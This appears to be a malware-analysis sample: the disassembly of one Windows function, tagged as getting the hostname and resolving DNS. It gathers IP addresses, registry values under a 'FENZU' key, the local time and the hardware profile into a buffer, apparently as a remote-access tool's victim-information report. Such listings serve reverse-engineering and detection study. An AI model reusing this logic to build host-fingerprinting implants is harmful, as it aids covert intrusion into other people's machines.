Function at 0x140001558
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x410
mov dword [rsp + 0x68], 0xffffffff
mov ecx, 0xf90
call fcn.140027ea4
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x60]
xor eax, eax
mov ecx, 0xf90
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x60]
mov byte [rax], 3
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov edx, 0x100
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 0
je 0x1400016cb
mov dword [rsp + 0x3b0], 0
jmp 0x140001641
mov eax, dword [rsp + 0x3b0]
inc eax
mov dword [rsp + 0x3b0], eax
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rcx + rax*8]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.140027e28
lea r8, str._n
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.140027e28
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rsp + 0x190]
movsx rdx, word [rdx + 0x12]
add rdx, qword [rcx + rax*8]
mov rax, rdx
mov rcx, qword [rsp + 0x190]
cmp rax, qword [rcx]
jb 0x1400016c6
jmp 0x1400016cb
jmp 0x140001631
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x60]
add rax, 2
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.140002250
test eax, eax
je 0x140001758
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x14004585c]
mov rcx, rax
call fcn.1400039d8
mov dword [rsp + 0x3c8], eax
jmp 0x140001779
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x140045860]
mov rcx, rax
call fcn.1400039d8
mov dword [rsp + 0x3c8], eax
mov rax, qword [rsp + 0x60]
add rax, 0x598
mov rcx, rax
call fcn.140001d44
cmp dword [rsp + 0x438], 0
je 0x1400017a7
lea rax, [0x140045878]
mov qword [rsp + 0x3d0], rax
jmp 0x1400017b6
lea rax, [0x140045888]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x60]
add rax, 0x796
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x796
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, str.FENZU
mov rdx, qword [rsp + 0x3d0]
mov rcx, 0xffffffff80000001
call fcn.140002be8
cmp eax, 1
jge 0x140001835
mov rax, qword [rsp + 0x60]
add rax, 0x796
lea rdx, [0x14005a59c]
mov rcx, rax
call fcn.140003a00
cmp dword [rsp + 0x438], 0
je 0x140001850
lea rax, [0x1400458a8]
mov qword [rsp + 0x3d8], rax
jmp 0x14000185f
lea rax, [0x1400458b8]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x7fa
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, [0x140045898]
mov rdx, qword [rsp + 0x3d8]
mov rcx, 0xffffffff80000001
call fcn.140002be8
cmp eax, 1
jge 0x1400018de
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
lea rdx, str.5.29
mov rcx, rax
call fcn.140003a00
mov rax, qword [rsp + 0x60]
add rax, 0x85e
mov r8d, 0xa
mov rdx, rax
mov ecx, dword [rsp + 0x428]
call fcn.140003a28
mov rax, qword [rsp + 0x60]
add rax, 0x9a8
mov rcx, rax
call fcn.1400028e0
call fcn.1400023f8
movzx eax, al
test eax, eax
je 0x140001940
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x140045864]
mov rcx, rax
call fcn.1400039d8
mov dword [rsp + 0x3e0], eax
jmp 0x140001961
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x140045874]
mov rcx, rax
call fcn.1400039d8
mov dword [rsp + 0x3e0], eax
call fcn.140002160
mov rcx, qword [rsp + 0x60]
add rcx, 0xc28
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x7a]
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x7e]
mov word [rsp + 0x2a0], ax
movzx eax, word [rsp + 0x80]
mov word [rsp + 0x6c], ax
movzx eax, word [rsp + 0x82]
mov word [rsp + 0x58], ax
movzx eax, word [rsp + 0x84]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x50]
movzx ecx, word [rsp + 0x58]
movzx edx, word [rsp + 0x6c]
movzx edi, word [rsp + 0x2a0]
movzx r8d, word [rsp + 0x54]
movzx r9d, word [rsp + 0x70]
mov r10, qword [rsp + 0x60]
add r10, 0x8c2
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x430]
lea rdx, [0x1400458d0]
mov rcx, r10
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x60]
add rax, 0x926
lea rdx, [0x1400458c8]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x140001aec
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3e8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x3f0], r9
lea r10, [rsp + 0x1a4]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3e8]
mov rdx, rax
mov rax, qword [rsp + 0x3f0]
mov rcx, rax
call fcn.140001bd4
jmp 0x140001b74
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3f8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x400], r9
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3f8]
mov rdx, rax
mov rax, qword [rsp + 0x400]
mov rcx, rax
call fcn.140001bd4
mov rax, qword [rsp + 0x420]
mov rax, qword [rax]
mov r8d, 0xf90
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x420]
call qword [rax + reloc.WS2_32.dll_recv]
mov dword [rsp + 0x68], eax
cmp qword [rsp + 0x60], 0
je 0x140001bc4
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x3c0], rax
mov rcx, qword [rsp + 0x3c0]
call fcn.14002792c
mov qword [rsp + 0x60], 0
mov eax, dword [rsp + 0x68]
add rsp, 0x410
pop rdi
ret